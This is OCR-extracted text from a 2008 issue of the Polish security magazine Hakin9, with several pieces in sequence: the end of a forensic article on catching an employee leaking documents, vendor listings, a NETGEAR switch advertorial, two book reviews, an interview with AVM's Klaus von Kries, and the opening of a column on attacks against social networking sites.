
•   Wysyłane wiadomości email poprzez 

prywatną skrzynkę – wraz z załącznikami; 
treść wiadomości (Rysunek 6). 

Informacje te potwierdziły pierwotne 
przypuszczenia. W kolejnym kroku 
pozostawiono już tylko dwóch podejrzanych. 
Na trzecim etapie zbadano wszelkie 
informacje związane z przetwarzaniem 
dokumentów przez pracowników na 
monitorowanych komputerach. Czynności, 
które zostały objęte analizą:

•   Tworzenie, usuwanie, zmiana nazwy 

dokumentu.

•   Zmiana treści, kopiowanie zawartości.
•   Rotacja plików pomiędzy urządzeniami.
•   Drukowanie dokumentów.

Zgromadzony materiał pozwolił wykazać, że 
jeden z użytkowników przesyłał za pomocą 
prywatnej skrzynki email plik o rozszerzeniu 
xls. Plik ten zawierał zrzut ekranu 
interesującego nas dokumentu. Dodatkowo 
był chroniony hasłem, które pozyskano z 
zapisu tekstu wprowadzanego z klawiatury. 
Po wysłaniu wiadomość była kasowana 
ze skrzynki elementów wysłanych przez 
pracownika (Rysunek 7).

Podsumowanie

W świecie, w którym 90% informacji 
porusza się elektronicznie, niezwykle łatwo 
jest przekazać na zewnątrz dane, które nie 
powinny opuścić organizacji. Wykorzystanie 
prostych mechanizmów – w normalnych 
warunkach – pozwala na całkowite 
maskowanie się nieuczciwego pracownika. 
Dlatego też tak istotne jest wdrożenie 
odpowiednich procedur i rozwiązań 
technicznych. Omówiony w powyższym 
artykule przykład z zastosowaniem 
platformy informatyki śledczej pokazuje, 
jak można sobie poradzić z takimi 
przypadkami nielojalności. 

Wartością dodaną w przypadku 

takich rozwiązań jest możliwość 
zastosowania zgromadzonego materiału 
np. w wyszkoleniu nowego pracownika, 
poprawianiu jego błędów bądź 
usprawnieniu metodologii wykonywanych 
czynności. Używając zaimplementowanych 
mechanizmów można zapewnić firmie 
kontrolę nad wydajnością pracy i 
proaktywnie zapobiegać ewentualnym 
naruszeniom zasad bezpieczeństwa 
informacji również poprzez definiowanie 
alertów pozwalających na informowanie 
odpowiednich osób zajmujących się 
bezpieczeństwem o niepożądanych 
zdarzeniach bądź czynnościach 
wykonanych przez użytkownika.

O autorze

Piotr Faj jest specjalistą w laboratorium informatyki 

śledczej Mediarecovery. Zapalony miłośnik zagadnień 

bezpieczeństwa i oprogramowania z rodziny open 

source. Specjalista analizy powłamaniowej. Wydajnością 

pracy wielozadaniowej potrafi powalić nawet Pentium 

Core 2 Duo. 

Kontakt z autorem: pfaj@mediarecovery.pl

Rysunek 7. 

Krok 3

background image

Prenumerata Pro

Media

 

Systems

Firma Media Systems oferuje Państwu 
usługi  oparte  o  rozwiązania  systemu 
CashBill.pl  i  są  to:  organizacja  kam-
panii marketingowych opartych o kon-
kursy SMS’owe, organizacja kampanii 
reklamowych serwisów internetowych, 
system  płatności  elektronicznych  po-
przez karty płatnicze i przelewy. Prócz 
wymienionych  usług  oferujemy  także 
budowę  stron  www,  sprzedaż  domen 
oraz  pozycjonowanie  w  wyszukiwar-
kach. Zapraszamy do współpracy.

TTS Company Sp. z o.o.

Sprzedaż i dystrybucja oprogramowania 
komputerowego.  Import  programów  na 
zamówienie. Ponad 200 producentów w 
standardowej ofercie.
Chcesz kupić oprogramowanie i nie mo-
żesz znaleźć polskiego dostawcy?
Skontaktuj się z nami - sprowadzimy na-
wet pojedyncze licencje.

www.OprogramowanieKomputerowe.pl

CCNS

Działalność  firmy  skoncentrowana  jest 
wokół hasła zapewnienia pełnego bez-
pieczeństwa  funkcjonowania  Klienta 
w  realiach  współczesnej  gospodarki. 
Jako Expert Partner firmy WatchGuard 
Inc. oferujemy kompleksowe rozwiąza-
nia  bezpieczeństwa  sieci  i  systemów 
informatycznych  obejmujące  nowo-
czesne  urządzenia  typu  Unified  Thre-
at  Management,  niezawodny  serwis 
i szeroki wachlarz szkoleń.  

www.ccns.pl

Petrosoft

Partner  Microsoft  Bussiness  Solutions 
Dynamics  GP.  Budowa  sklepów  inter-
netowych,  serwisów  WWW,  prezenta-
cji multimedialnych. Budowa sieci LAN, 
WAN,  telekomunikacyjnych.  Telefonia 
stacjonarna,  VoiceIP.  Usługi  outsorcin-
gowe  dla  dużych  firm  z  zakresu  infor-
matyki  i  telekomunikacji.  Oprogramo-
wanie na zamówienia. Dostawa serwe-
rów, sprzętu, oprogramowania.

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

kontakt do nas: 

katarzyna.juszczynska@software.com.pl, 

robert.gontarski@software.com.pl

tel.: 22 427 36 77

Enigma SOI

Głównym przedmiotem działalności fir-
my jest produkcja, wdrażanie i sprze-
daż  systemów  służących  do  ochrony 
informacji.

• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
•  podpis elektroniczny i szyfrowanie 

na serwerach i stacjach klienckich

• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki

www.enigma.com.pl

Kei.pl

Kei.pl  działa  na  rynku  usług  hostingo-
wych  od  2000  roku.  Do  naszych  za-
dowolonych Klientów z dumą możemy 
zaliczyć  wiele  przedsiębiorstw  sektora 
MSP,  instytucji  oraz  osób  prywatnych. 
W ofercie Kei.pl znajdują się pakiety ho-
stingowe, a także usługi dla wymagają-
cych  Użytkowników  –  platformy  e-Biz-
nes oraz serwery fizyczne.

www.kei.pl

Sokra-NET

Działa  od  roku  2002,  specjalizuje  się
w szeroko pojętym bezpieczeństwie in-
formacji. Posiada wykwalifikowany spe-
cjalnie do tych celów zespół inżynierów 
którzy przy współpracy z naszymi klien-
tami  maksymalizują  bezpieczeństwo 
danych,  audytując  i  dobezpieczając. 
Wykonujemy  testy  penetracyjne,  ana-
lizy kodów źródłowych, testy wydajno-
ściowe  aplikacji  i  ich  środowisk  telein-
formatycznych. Wdrażamy polityki bez-
pieczeństwa.  Wspomagamy  naszych 
partnerów merytorycznie.

www.sokra.net 

Sokra-NET

background image

72

 

HAKIN9 9/2008

Podczas wielu lat rozwoju sieci lokalnych 
wykształtowała się luka w warstwie 
dostępowej.  Małe i średnie firmy były 
skazane na przełączniki niezarządzane 
lub przełączniki, których funkcje w dużej 
części były niewykorzystywane. Dodatkowo 
zarządzanie przez linię poleceń wymagało 
od klienta wiedzy, której często nie posiadał.
Małe i średnie firmy wymagają, aby 
infrastruktura wspierała określone aplikacje 
wykorzystywane w organizacji. W tym 
przypadku klasyfikacja przełączników 
powinna odbywać się na podstawie 
funkcjonalności, która często wychodzi 
poza ramy konkretnej warstwy modelu OSI. 
Aplikacje wykorzystujące do komunikacji 
ludzki głos nie mogą obyć się bez wsparcia 
ze strony infrastruktury sieciowej. To właśnie 
ten sposób komunikacji jest jednym z 
najbardziej wymagających. I niekoniecznie 
chodzi tutaj o gwarancję dostępnego 
pasma, ale o wsparcie w postaci 
priorytetyzacji danej aplikacji na tle innych 

Be Smart 

Buy Smart

Przełączniki z serii ProSafe Smart stanowią alternatywę dla w pełni zarządzanych, 

klasycznych przełączników warstwy 2. Przełączniki te pozbawione zbytniej złożoności 

dostarczają Klientowi funkcje typowe, dla przełączników zarządzanych, a dzięki temu 

pozbawione są dodatkowego kosztu.

równie ważnych, ale bardziej odpornych na 
opóźnienia czy też utratę pakietów.
Dobrym tego przykładem jest Telefonia IP, 
która wymaga klasyfikacji generowanego 
przez siebie ruchu w warstwie dostępowej. W 
tym wypadku zostanie przypisany pakietowi 
IP priorytet charakterystyczny dla warstwy 
drugiej lub warty trzeciej modelu OSI.  
Przełączniki z serii Smart dostarczają w 
zależności od konfiguracji od 4 do 8 kolejek 
na port oraz wsparcie w warstwie 2/3/4.  

NARZĘDZIA DLA FIRM

Dodatkowo znacznym udogodnieniem 
jest funkcja Auto-Voice VLAN pozwalająca 
na utworzenie dedykowanego VLANu dla 
portu z podłączonym telefonem IP
Bardzo interesującą funkcją jest 
statyczny routing, który znajdziemy w 
przełącznikach GS724TR oraz GS748TR. 
Daje on możliwość utworzenia 32 
statycznych wpisów a dzięki temu możemy 
„routować” ruch pomiędzy VLANami 
oraz efektywnie zarządzać dostępną 

Need for control

1-5

5-20

20-100

100-200

200+

Smart Switches

Managed Switches

Complete control

Complex configuration

CLI, Web management

Unmanged Switches

Basic connectivity

No configuration

background image

73

 

HAKIN9 

9/2008

przepustowością poprzez ograniczenie 
burzy rozgłoszeniowej. 
Jeśli chodzi o aspekty bezpieczeństwa to i 
te nie są obce przełącznikom z serii Smart. 
Jak wiemy zabezpieczenie infrastruktury 
sieciowej ma znaczenie krytyczne dla 
działania każdej organizacji. Przełączniki 
z serii Smart zapewniają kontrolę na 

poziomie dostępu do portu (802.1x) czy też 
tworzenie list dostępu ACL. Możliwa jest 
również autentykacja za pomocą serwera 
TACACS+ czy Radius.
Również w zarządzaniu przełącznikami 
z serii Smart dokonano pewnych zmian. 
Zrezygnowano z zarządzania za pomocą 
konsoli często nieużywanej w małych 

organizacjach, a pozostawiono protokół 
SNMP w wersji 1/2c/3. Dzięki temu 
małe organizacje nie ponoszą kosztu 
nadmiarowego sposobu zarządzania 
przełącznikiem a duże, które wykorzystują 
niezależne aplikacje zarządzające nie 
odczuwają ograniczeń.
W zależności od konfiguracji dostępne są 
również przełączniki (GS724TS, GS748TS) z 
dedykowanym interfejsem umożliwiającym 
łączenie ich w stos. Nie jest to łączenie 
w „stos”, które było charakterystyczne dla 
starszych przełączników warstwy 2, czyli 
łączenie przełączników poprzez port uplink. 
Dedykowany interfejs daje możliwość 
przesłania w jedną stronę 20Gb danych w 
ciągu 1 sekundy. Po zamknięciu pierścienia 
dostępna przepustowość wynosi, 40 
Gb/s. Dodatkową zaletą wykorzystania 
połączenia jest jeden, wspólny interfejs 
WWW dla wszystkich urządzeń pracujących 
w stosie. Dedykowany interfejs znajduje się 
na tylnym panelu obudowy przełącznika 
a dzięki temu nie wpływa na ułożenie 
okablowania strukturalnego. 
Na koniec warto wspomnieć o 
niezawodności oraz wieczystej gwarancji. 
Aby zmierzyć niezawodność danego 
urządzenia należy wyznaczyć jego MTBF 
(ang. Mean Time Between Failures), czyli 
czas bezawaryjnej pracy. W przypadku 
przełączników z serii ProSafe czas 
bezawaryjnej pracy w zależności od 
konfiguracji dochodzi do 37 lat. Jak łatwo 
zauważyć czas ten, znacznie przewyższa 
średni cykl życia tego typu rozwiązania.
Świadectwem wysokiej bezawaryjności 
jest również wieczysta gwarancją, którą 
są objęte wszystkie przełączniki z serii 
ProSafe. Również elementy najczęściej 
ulegające awarii typu wentylatory czy też 
zasilacze objęte są wieczystą gwarancją 
producenta.

Kontakt

NETGEAR POLAND sp. z o.o.
Al. Jerozolimskie 65/79
00-697 Warszawa
e-mail: sales_pl@netgear.com
tel. 022 630 66 40

NETGEAR GS724TR

NETGEAR GS748TR

Cena End User

$649

$1169

Konfiguracja

24 x 1Gb/s BaseT,

2 x SFP Combo

48 x 1Gb/s BaseT,

4 x SFP Combo

Zarządzanie

LLDP Discovery

Y

Y

SNMP

v1/2/3

V1/2/3

WWW

Y

Y

Bezpieczeństwo

VLAN

Y

Y

802.1x

Y

Y

ACLs

Y

Y

Quality of Service

Liczba kolejek

8

8

QoS

Layer 2/3/4

Layer 2/3/4

Ograniczenie pasma

Y

Y

Auto Voice VLAN

Y

Y

Skalowalność

Rapid Spanning Tree

Y

Y

IGMP Snooping

Y

Y

Funkcje zaawansowane

Static Routing

Y

Y

IGMP Querier

Y

Y

Gwarancja

Wieczysta

Wieczysta

BE SMART BUY SMART

background image

74

 

KSIĄŻKI

HAKIN9 9/2008

Biometria. 

Tajemnica-Atak-Obrona

Autorzy książki są uznanymi ekspertami 
w dziedzinie biometrii. Pracują 
w Thomas J. Watson Research 

Center przy IBM i biometria należy do ich zadań 
zawodowych – a dokładniej: analiza systemów 
biometrycznych, badania nad przetwarzaniem 
obrazów wideo, identyfikacja biometryczna, 
rozpoznawanie wzorców i inne.

Książka stanowi kompendium wiedzy w 

dziedzinie biometrii. Mając na uwadze fakt, 
że to stosunkowo młoda dziedzina nauki, ale 
dynamicznie się rozwijająca, pozycja stanowi 
kompletne źródło wiedzy dla osób pragnących 
zgłębić tajniki inżynierii biometrycznej.

Książka jest podzielona na 4 niezależne 

od siebie rozdziały. Sprawia to, że może być 
adresowana zarówno do studentów chcących 
poznać podstawy systemów biometrycznych, jak 
i do osób szukających konkretnych rozwiązań, 
a także zajmujących się analizą i opisem 
matematycznym systemów biometrycznych.

Część I – Czytelnik znajdzie tu teorię 

dotyczącą podstaw systemów biometrycznych. 
Z tego rozdziału dowie się on, że każdy człowiek 
posiada biometryki fizjologiczne oraz biometryki 
behawioralne. Przykłady biometryk fizjologicznych 
to m.in. odcisk palca, geometria dłoni, obraz 
tęczówki oka. Z kolei biometryki fizjologiczne to 
m.in. podpis, głos czy chód człowieka. Cechy 
biometryczne muszą spełniać pewne kryteria 
– jak trwałość, jednoznaczność czy ściągalność. 
Systemy uwierzytelniania można podzielić na 3 
grupy: z użyciem fizycznych środków do identyfikacji 
(np. klucz, karta magnetyczna lub chipowa), 
wykorzystujące wiedzę osób uwierzytelnianych (np. 
hasło czy odpowiedź na pytanie) oraz biometryki. 
Wymagania systemu identyfikacji odnoszą się do 
dokładności, szybkości obliczeń, obsługi wyjątków 
oraz kosztu systemu. Znajdziemy w tej części także 
opis typowego procesu identyfikacji biometrycznej, 
a także informacje o tym, jak są przechowywane 
wzorcowe dane biometryczne, dowiemy się, 
jak następuje komparacja wzorca z próbką i 
przeczytamy opis popularnych biometryk.

Część II zawiera zalecenia co do biometrycznych 

systemów uwierzytelniania. Projektując system 
wykorzystujący określoną biometrykę, musimy 
liczyć się z tym, że nie jest on idealny i w pewnych 
sytuacjach może popełniać pomyłki. Te błędy to 
niesłuszna zgodność oraz niesłuszna niezgodność. 
W praktyce zawsze wskaźniki te będą mieć 
niezerowe wartości. Jeżeli uwierzytelniamy się w 

systemie hasłem, może ono zostać przekazane albo 
skradzione, w przypadku systemu biometrycznego 
mamy dowód, że dana osoba rzeczywiście była 
obecna – choć z pewnym prawdopodobieństwem. 
Ten rozdział skupia się na błędach systemów, 
sposobach ich oszacowania oraz na wybraniu 
kompromisu między bezpieczeństwem systemu 
a kosztami. Czytelnik dowie się także, że aby 
biometryczny system identyfikacji uzyskał pełną 
gotowość do pracy, trzeba go najpierw wytrenować 
w odpowiedniej populacji osobników.

Część III – rozdział ten skupia się na omówieniu 

bazy danych biometrycznych wraz z jej cechami. W 
systemach uwierzytelniania dużej ważności zwykle 
nie wystarcza korzystanie z 1 biometryki. W takich 
przypadkach budowane są systemy korzystające 
z kilku biometryk lub z biometryki i informacji 
dodatkowych. Konieczne jest zatem łączenie 
informacji o uwierzytelnianej osobie pochodzącej 
z kilku źródeł, a następnie filtrowanie, kubełkowanie 
i porównywanie próbek z wzorcami w bazie 
danych. Czytelnik zostaje uświadomiony, że aby 
system mógł zacząć funkcjonować, konieczne jest 
zarejestrowanie wyborców. Dodatkowo podczas 
rejestracji należy zadbać o odpowiednią jakość 
próbki wzorca. W rozdziale tym w celu opisania 
występujących zjawisk i problemów autorzy musieli 
zastosować zaawansowany aparat matematyczny. 
Pod koniec tej części można znaleźć analizę 
podatności systemów biometrycznych na ataki 
oraz możliwości nadużyć w tych systemach.

Część IV jest adresowana do znawców tematu 

– co krok natykamy się tu na skomplikowane 
wzory i oszacowania. Wykorzystywana jest analiza 
statystyczna systemów biometrycznych. Czytelnik 
natknie się tu m.in. na standardy dowodów 
sądowych.
Biometria to fascynująca nauka i na pewno 
zasługuje na uwagę. Niewątpliwie systemy 
biometryczne będą intensywnie wykorzystywane 
w najbliższej przyszłości. Przemawia za tym wiele 
zalet, m.in. fakt, że gdy do uwierzytelnienia służy 
biometryka, użytkownik zostaje odciążony od 
konieczności pamiętania haseł. Aby system działał 
prawidłowo, należy spełnić kilka wymagań, m.in. 
zapewnić zbieranie dobrej jakości próbek. Argument 
przeciw to naruszenie prywatności użytkowników 
oraz spory natury prawnej. Poza tym baza 
wyborców musi być wystarczająco silnie chroniona. 
Zawsze należy jednak pamiętać, że nawet system 
uwierzytelniania wykorzystujący wiele biometryk nie 
jest w stanie zapewnić 100 % identyfikacji wzorca.

Autorzy: Ruud M. Bolle, Jonathan 

H. Connell, Sharath Pankanti, 

Nalini K. Ratha, Andrew W. Senior

Wydawca: WNT, Warszawa

Rok wydania w Polsce: 2008

Liczba stron: 408

Recenzent: Rafał Lysik

Ocena: 5

background image

75

 

KSIĘGOZBIÓR

HAKIN9 

9/2008

Analiza Ryzyka i Ochrona 

Informacji w Systemach Komputerowych

Krzysztof Liderman jest uznanym 
autorem wśród twórców książek 
związanych z bezpieczeństwem 

komputerowym. Popularność zyskał sobie 
dzięki książce Podręcznik Administratora 
bezpieczeństwa teleinformatycznego. Co 
znajdziemy w Analizie Ryzyka? Zobaczmy...

Przede wszystkim książka jest bardzo 

dobrze podzielona na kilka logicznie 
wyodrębnionych części. Zaczynamy od 
ogólników na temat informacji, bezpieczeństwa 
i systemu ochrony – gdzie poznamy nieco 
terminologii związanej z tematem – po czym 
dowiemy się trochę o procesach biznesowych. 
Kolejna kwestia poruszana przez autora 
to inwentaryzacja i klasyfikacja zasobów 
– nauczymy się tutaj oceniać ich wartość. 
Bardzo ważnym rozdziałem jest ten o 
zagrożeniach i podatnościach. Wiedząc, na 
co jesteśmy narażeni, będziemy mogli lepiej 
temu przeciwdziałać. Przeczytamy także o 
pomiarach bezpieczeństwa teleinformatycznego 
– jak je mierzyć i jak interpretować wyniki 
– a następnie, po analizie, przejdziemy już 
do ryzyka i zarządzania nim. Jest to chyba 
najważniejsza część książki, na która warto 
zwrócić szczególną uwagę. Po przebrnięciu 
przez nią zapoznamy się z testowaniem oraz 
audytami i certyfikowaniem. Ostatnie dwa działy 

poświęcono standardom (autor zamieścił tutaj 
informacje między innymi o wymaganiach 
normy PN-ISO/IEC 27001:2007) i projektowaniu. 
Na koniec możemy przeczytać załącznik, który 
traktuje o autorskiej metodyce L-RAC analizy i 
kontrolowania ryzyka w zakresie bezpieczeństwa 
teleinformatycznego. Jej najważniejszą cechą 
jest jednolity z przyjętym w metodyce audytu 
bezpieczeństwa teleinformatycznego LP-A 
standard opisu oraz pokazanie związków z 
zapisami normy PN-ISO/IEC 27001:2007. 
Zauważmy także, że wspomniana metodyka 
może zostać zastosowana także w innych 
przypadkach, jak np. bezpieczeństwo 
energetyczne, bezpieczeństwo transportu 
cennych ładunków itp.

Kto skorzysta na przeczytaniu tej 

książki? Z pewnością osoby odpowiadające 
za bezpieczeństwo, administratorzy 
bezpieczeństwa, administratorzy systemów, 
pełnomocnicy ds. bezpieczeństwa, kierownicy 
działów teleinformatyki. Nic jednak nie stoi 
na przeszkodzie, aby przeczytały ją także 
osoby, które interesują się tym tematem i 
chciałyby się nieco nauczyć o analizie ryzyka i 
ochronie informacji. Wydawca poleca książkę 
również studentom mającym w programie 
studiów kursy powiązane z bezpieczeństwem 
teleinformatycznym.

Autor: Krzysztof Liderman

Wydawca: PWN

Rok wydania w Polsce: 2008

Liczba stron: 300

Recenzent: Roger Zacharczyk

Ocena: 5

R

E

K

L

A

M

A

background image

76

 

WYWIAD

HAKIN9 9/2008

ROZMOWA Z KLAUSEM VON KRIES

77

 

HAKIN9 

9/2008

zamiar wypuścić produkt 7270. Ponieważ 
model 7270 integruje obsługę standardu 
802.11N z technologią MIMO, warto od 
razu wprowadzić odpowiedni WLAN 
USB Stick
. Nowy Stick WLAN nie będzie 
wymagał użycia płyty CD. Sterownik 
jest całkowicie przeniesiony do pamięci 
lokalnej Sticka i obsługuje system 
Windows Vista. Dzięki temu instalacja 
przebiega łatwiej. Po prostu wystarczy 
wszystko odpowiednio podłączyć i 
rozpoczynamy pracę. 

h9: Która z nowych technologii może 
stać się przebojem tego roku?
KK: Z technologiami to jest tak, że żadna 
z nich sama w sobie nie stanie się 
hitem. Przypuszczam, że zależy to od 
odpowiedniej kombinacji dostępnych 
możliwości. Model 7270 ma duże 
szanse, aby stać się przebojem tego 
roku. Obecnie nie istnieje na rynku 
żaden produkt, który w tak małym 
urządzeniu łączyłby taką kompleksowość. 
Pod względem technicznym nie znam 
żadnego innego sprzętu, który łączy 
w sobie: router ADSL2+ i bramkę VoIP, 
centralkę telefonii ISDN i analogowej, 
2 łącza analogowe, wewnętrzny ISDN 
Bus, DECT CatIQ Access Point, 802.11 
a/b/g/N Access Point i host USB 2.0. 
Potężne możliwości urządzenia można 

jednak wykorzystać dopiero dzięki 
odpowiedniemu oprogramowaniu. Czy 
to wystarczy, aby produkt ten stał się 
hitem roku? Na to pytanie nie umiem 
odpowiedzieć. Rynki reagują bardzo 
różnie. Doskonale to rozumiem, jestem 
jednakże przekonany, że ten produkt nie 
okaże się bublem. 

h9: Co wyróżnia sprzęt AVM'a od 
konkurencji. Na rynku podobnych 

hakin9: Nad czym obecnie głównie 
pracuje firma AVM?
Klaus von Kries: Obecnie pracujemy 
nad następną aktualizacją major 
firmware
. Chcemy wzbogacić 
system o nowe funkcje – takie, jak 
automatyczna sekretarka i fax. Zależy 
nam na tym, aby obie funkcje były 
nadzorowane przez skrzynkę bez 
zastosowania dodatkowego sprzętu. 
Dodatkowo system będzie wyposażony 
w funkcjonalność VPN. Projekt ten był 
długo wyczekiwany przez sprzedawców 
i dystrybutorów, ponieważ wspomniane 
elementy są kluczowe dla dobrej 
współpracy z klientami. System Firmware 
update powinien dotyczyć 3 produktów: 
FRITZ!BoxFon 5124, FRITZ!Box Fon 
WLAN 7140 oraz FRITZ!Box Fon WLAN 
7170. Ponadto kładziemy nacisk na 
wprowadzenie na rynek anglojęzycznej 
wersji produktu FRITZ!Box Fon WLAN 
7270, której z niecierpliwością oczekują 
nasi klienci. Reagowanie na ich potrzeby 
z odpowiednią szybkością jest niekiedy 
rzeczywiście trudnym zadaniem.

h9: Jaki będzie nowy produkt, 
nad którego wprowadzeniem się 
zastanawiacie?
KK: Jak wcześniej wspomniałem, w 
trzecim kwartale bieżącego roku mamy 

Stawiamy na 

rozwój

Swoją pracę w AVM rozpocząłem w roku 1999 w dziale wsparcia – Network Support. 

Zapewnialiśmy wtedy wsparcie dla routera Multiprotokoll Software ISDN w firmach 

Novell i NT. Później pracowałem w dziale wsparcia międzynarodowego, po czym 

zostałem przeniesiony do niemieckiego zespołu wspierającego – aby w późniejszym 

czasie zostać włączonym do międzynarodowego działu przedsprzedaży. 

background image

76

 

WYWIAD

HAKIN9 9/2008

ROZMOWA Z KLAUSEM VON KRIES

77

 

HAKIN9 

9/2008

rozwiązań jest dużo, jaki jest mocny 
punkt np. routerow Fritz?
KK: Przywiązywanie ogromnej wagi do 
szczegółów. Dzięki uwagom naszych 
klientów, staramy się podwyższyć jakość 
produktów oraz sprawić, aby były bardziej 
konkurencyjne na rynku. Ponadto dbamy 
o regularną aktualizację naszego 
oprogramowania. Ten system sprawdza 
się i sprawia, że klienci się do nas 
przywiązują.

h9: Czy AVM ma lub planuje 
wprowadzenie do produkcji chipów 
WiMax?
KK: Na dzień dzisiejszy nie produkujemy 
chipów. Nie wykluczam jednak, że w 
przyszłości ulegnie to zmianie. 
Ponownej oceny dokonamy, kiedy 
zauważymy w tym rynku możliwości, 
które moglibyśmy wykorzystać. Mimo 
to FRITZ!Box można zastosować w 
alternatywnych sieciach. Podłączenie 
modemu Wimax jest możliwe poprzez 
FRITZ!Box Fon – podobnie jak 
podłączenie kablówki. Można przy tym 
wykorzystać zarówno protokół PPP, jak i 
bezpośrednio IP.

h9: Analitycy In-Stat informują o tym, 
że ponad 50% przebadanych firm nie 
miało opracowanych mechanizmów 
zabezpieczających sieci VoIP. Czy zatem 
technologia VoIP jest bezpieczna? I 
czy nie należałoby kłaść większych 
nacisków na hardwarowe zabeczenia 
sieci VoIP?
KK: Zgadzam się z tym stwierdzeniem. 
To jest wciąż ten sam temat. 
Świadomość pewnych spraw nie 
przekłada się na konkretne działania, 
więc mądrzy jesteśmy dopiero po 
szkodzie. Przede wszystkim należy 
rozróżnić sytuację użytkownika 
prywatnego od użytkownika w firmie. 
Każdy przestój procesu produkcyjnego 
(dotyczy to także dostępu do Internetu 
oraz telefonii) generuje straty pieniężne. 
Wiemy o tym, mimo to zdarza się 
nam popełniać błędy, które powodują 
określone straty. 

h9: Czy AVM ma umowę z jakimś 
Polskim dostawcą IP-TV na dostarczanie 
sprzętu? Czy targetem jest tylko 
końcowy użytkownik sprzętu?

KK: Nasze produkty są adresowane do 
providerów usług internetowych, którzy 
mają w ofercie IP-TV. Na dzień dzisiejszy 
nie mamy w Polsce partnera, ale mamy 
nadzieję, że wkrótce to się zmieni. 

h9: Jak sprawdza się Fritz we 
współpracy z profesjonalnym sprzętem 
w dużych sieciach opartych np. na 
sprzęcie CISCO ?
KK: Z firmą Cisco mamy tak naprawdę 
niewiele wspólnego. Wcześniej firma AVM 
zajmowała się wprawdzie rozwiązaniami 
dla centrali firm, teraz jednak skupiamy 
się na użytkownikach końcowych. To, co 
jest sprawdzone, to sytuacja, w której 
główny oddział firmy jest wyposażony 
w router Cisco dla VPN, a w jej filiach 
stosuje się routery FRITZ!Box, które 
tworzą kanał informacyjny z centralą. 
Rozwiązanie takie było już wielokrotnie 
stosowane, a poza tym nie ma żadnych 
punktów stycznych w zastosowaniu 
naszych produktów. 

h9: Większość rozwiązań AVM jest 
przeznaczona dla małych i średnich 
przedsiębiorstw, czy AVM ma w 
planie zaatakowac rynek dużych 
przedsiębiorstw i instytucji? Jeśli tak to 
nad jakimi rozwiązaniami się państwo 
zastanawiają?
KK: Na dzień dzisiejszy nie ma takich 
planów. AVM jest producentem 
routerów i chce ruszyć na podbój rynku 
poszerzając swoją ofertę o produkty 

Value Add, które będą przetwarzać treści 
multimedialne. Ale to dopiero projekt na 
przyszłość. 

h9: Jak Pan przewiduje rozwój nowych 
technologii łączności bezprzewodowej 
oraz przyszłość technologii Voip?
KK: Kwestia ta jest rozwojowa. Produkty 
VoIP, stworzone na bazie WLAN, są już 
dostępne i będą w przyszłości jeszcze 
udoskonalane. W obszarze DECT mamy 
(jeszcze nie sfinalizowany) standard 
CatIQ, który zawiera szerokopasmowy 
kodek zapewniający rozmowom 
VoIP jakość lepszą nawet od tej, jaką 
oferuje telefonia stacjonarna. Nowy 
kodek nazywa się G.722 i jest w stanie 
całkowicie odtworzyć akustyczne 
spektrum ludzkiego głosu. Jest zatem na 
co czekać.

h9: Jaka jest strategia marketingowa 
na 2008 rok, prognozy sprzedaży oraz 
ekspansja na inne rynki?
KK: Od tego roku mamy na pokładzie 
nowego dystrybutora (ABC-DATA). Dzięki 
temu nasze urządzenia będą łatwiej 
dostępne. Dla resellerów będziemy 
organizować spotkania, które pozwolą 
nam nawiązać lepsze kontakty i zacieśnić 
współpracę. W roku 2008 planujemy 
wzrost wyników w porównaniu z rokiem 
ubiegłym.

h9: Dziękuję za rozmowę
KK: Dziękuję

background image

FELIETON

78

 

HAKIN9 9/2008

79

 

HAKIN9 

9/2008

Ataki na serwisy 

społecznościowe

serwisu – nie tylko go odwiedzająca – 
sama w sobie jako zamknięta grupa 
oferuje liczne grono potencjalnych 
odbiorców złośliwego kodu. Każdy z 
użytkowników takowego serwisu 
zmuszony jest przecież do przejrzenia 
danej treści zanim zostanie ona poddana 

jego realnej ocenie. Wyobraźmy sobie 
następujący scenariusz: grupa, która 
wykryła nową podatność w danym 
systemie umieszcza w Internecie 
specjalnie spreparowaną stronę o 
zawartości dostosowanej do aktualnych 
trendów na danym serwisie 

społecznościowym. Jest ona na tyle 
atrakcyjna pod względem informacyjnym 
(np. posiada pewną kontrowersję, która 
aktualnie najbardziej przyciąga uwagę 
wielu osób), że ma duże szanse zostać 
wypromowana na pierwszą stronę owego 
serwisu. W jej promocji pomagają konta, 
które zostały wcześniej przejęte za 
pomocą luk XSS/PHP/SQL wykrytych w 
samym serwisie. Przy aktualnym 
nafaszerowaniu serwisów skryptami, w 
których główny nacisk kładzie się na 
funkcjonalność, a dopiero 
bezpieczeństwo nie jest to aż tak trudne. 
Oprócz standardowej wrażliwości na 
ataki typu SQL Injection, Cross-Site 
Scripting jakie posiadają standardowe 
strony, pozwalają na wykorzystanie 
szkodliwego kodu w dodatkowych 
sektorach serwisu (np. w profilach 
użytkowników). W przeciwieństwie do 
phishingu, który opiera się na 
socjotechnice stosowanej ataki te 
wykorzystują realne luki służące jako 
półśrodki do osiągnięcia celu. 
Spreparowana strona zawiera w sobie 
szkodliwy kod infekujący każdego 
odwiedzającego użytkownika, który 
spełnia dane wymagania pod względem 
posiadanego systemu operacyjnego i 
znajdującej się w nim luki; w innym 
przypadku nie zostaje podjęta żadna 

F

elieton ten postaram się skupić 
wokół ataków przeprowadzanych 
na same serwisy społecznościowe, 

które w tym wypadku są ofiarami, a na 
które przeprowadza się coraz więcej 
ataków - i to w pełni świadomych. Z 
czego wynika owa prawidłowość? 
Prawdopodobnie z dwóch powodów. Po 
pierwsze: poprzez taki serwis bardzo 
łatwo wypromować daną treść, która ma 
na celu doprowadzenie użytkowników do 
wybranego miejsca w sieci i 
przeprowadzenia ukrytego ataku. 
Posiadają one również wysoką 
popularność i renomę, która znacznie 
ułatwia wymuszenie łatwowiernego 
zaufania względem publikowanych treści. 
Skoro wiele nowych form ataków zostaje 
tworzonych w coraz krótszym czasie i 
wykorzystuje coraz bardziej wyrafinowane 
metody, to bardzo dobrym punktem 
startu dla testów nowego „produktu” pod 
postacią np. konia trojańskiego lub 
wirusa jest liczne grono Internautów, które 
zostaje zaatakowane w bardzo krótkim 
czasie. Jest to również drugi powód, dla 
którego serwisy społecznościowe stają 
się coraz częstszymi ofiarami. Oferują 
one społeczność połączoną w jedną 
spójną sieć pod postacią kontaktów do 
innych użytkowników. Społeczność ta 
aktywnie uczestnicząca w funkcjonowaniu 

W poprzednim felietonie (patrz „Ataki społecznościowe” Hakin9 nr 7/2008 (39)) został 

